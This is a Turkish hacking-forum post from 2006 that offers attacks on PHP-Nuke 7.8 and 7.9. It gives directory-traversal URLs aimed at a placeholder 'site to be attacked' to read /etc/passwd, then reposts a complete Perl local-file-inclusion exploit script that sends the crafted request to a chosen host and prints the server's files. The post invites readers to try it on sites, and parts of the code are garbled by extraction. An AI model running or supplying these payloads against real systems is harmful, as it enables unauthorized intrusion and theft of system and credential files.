28.05.2006
|
#1 (permalink)
|
Katılma Tarihi: Mayıs 2006
Nereden: Türkiye
Mesajlar: 9
|
php nuke 7,8 7,9 Hack
http://saldırılacaksite.com/modules.php?name=Search &file=../../../../../../ ../../../etc/passwd%00 http://saldırılacaksite.com/modules.php?name=Search& file=../Forums/viewtopic&phpEx=../../../../../../etc/pas swd ->> Kısımları deneye bilirsiniz alt dizinlerde muhakkak size verecektir. ../../../../../../etc/pas swd (Araştırmadan site hacklenmez..)Alin buda exploit #!/usr/bin/perl use IO:ocket; # SecurityReason Exploit Code # by sp3x # sp3x@securityreason.com # www.securityreason.com # Remote Directory Traversal Exploit - Local file include # PHPNuke -> 7.8 full patched , 7.9 fullpatched + patch 3.1 # Server must have magic_quotes_gpc = Off - need to use %00 # Copyright © SecurityReason. All Rights Reserved. # # Example of usage : perl phpnuke-expl.pl 172.24.2.1 nukedir Search ../../../etc/passwd if (@ARGV < 3) { print "\r\n"; print "SecurityReason - www.securityreason.com\r\n"; print "[sp3x] EXPLOIT for PHPNuke 7.8 - 7.9\r\n"; print " \r\n"; print "perl phpnuke-expl.pl [Host] [nuke_dir] [file]\r\n\r\n"; print "[Host] - Host where is phpnuke example: http://localhost\r\n"; print "[nuke_dir] - Directory of PHPNuke example: /phpnuke/html/\r\n"; print "[module] - Module of PHPNuke example: News\r\n"; print "[file] - file to show - example : ../../../../../etc/passwd\r\n\r\n"; print "Example of usage : perl phpnuke-expl.pl 172.24.2.1 nukedir module ../../../../../e tc/passwd"; print "\r\n"; exit(); } $HOST = $ARGV[0]; $DIR = $ARGV[1]."modules.php"; $MODULE = "?name=".$ARGV[2]."&"; $FILE = "file=".$ARGV[3]."%00"; $LENGTH = length $FILE; print "\r\n[Host] : ".$HOST."\n"; print "[Dir] : ".$DIR."\n"; print "[Module] : ".$ARGV[2]."\n"; print "[File] : ".$ARGV[3]."\r\n\r\n"; $HOST =~ s/(http:\/\/)//; $get1 = IO:ocket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80" ) || die "Error 404\r\n\r\n"; print $get1 "GET ".$DIR.$MODULE.$FILE." HTTP/1.0\n"; print $get1 "Host: ".$HOST."\n"; print $get1 "User-Agent: Mozilla/5.0 - SecurityReason"; print $get1 "Accept: text/__xml,application/__xml,application/xhtml+__xml,text/html; q=0 .9,text/ plain;q=0.8,image/png,*/*;q=0.5"; print $get1 "Accept-Language: pl,en-us;q=0.7,en;q=0.3"; print $get1 "Accept-Encoding: gzip,deflate"; print $get1 "Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7"; print $get1 "Keep-Alive: 300"; print $get1 "cookie: lang=english"; print $get1 "Cache-Control: max-age=0"; print $get1 "Content-Type: application/x-www-form-urlencoded\n"; print $get1 "Content-Length: ".$LENGTH."\n\n"; print $get1 $FILE; while ($odp = <$get1>) { if ($odp =~ /<b>Warning<\/b>: main\(\): Unable to access .\/$ARGV[2] in <b>/ ) { printf "\n\nFile ".$ARGV[2]." doesn"t exists or something goes wrong.\r\n\r\n"; exit; } printf $odp; }kolay gelsin____________ALINTIDIR_______________
|
|
|
Benzer Konular
.jpg)
.jpg)
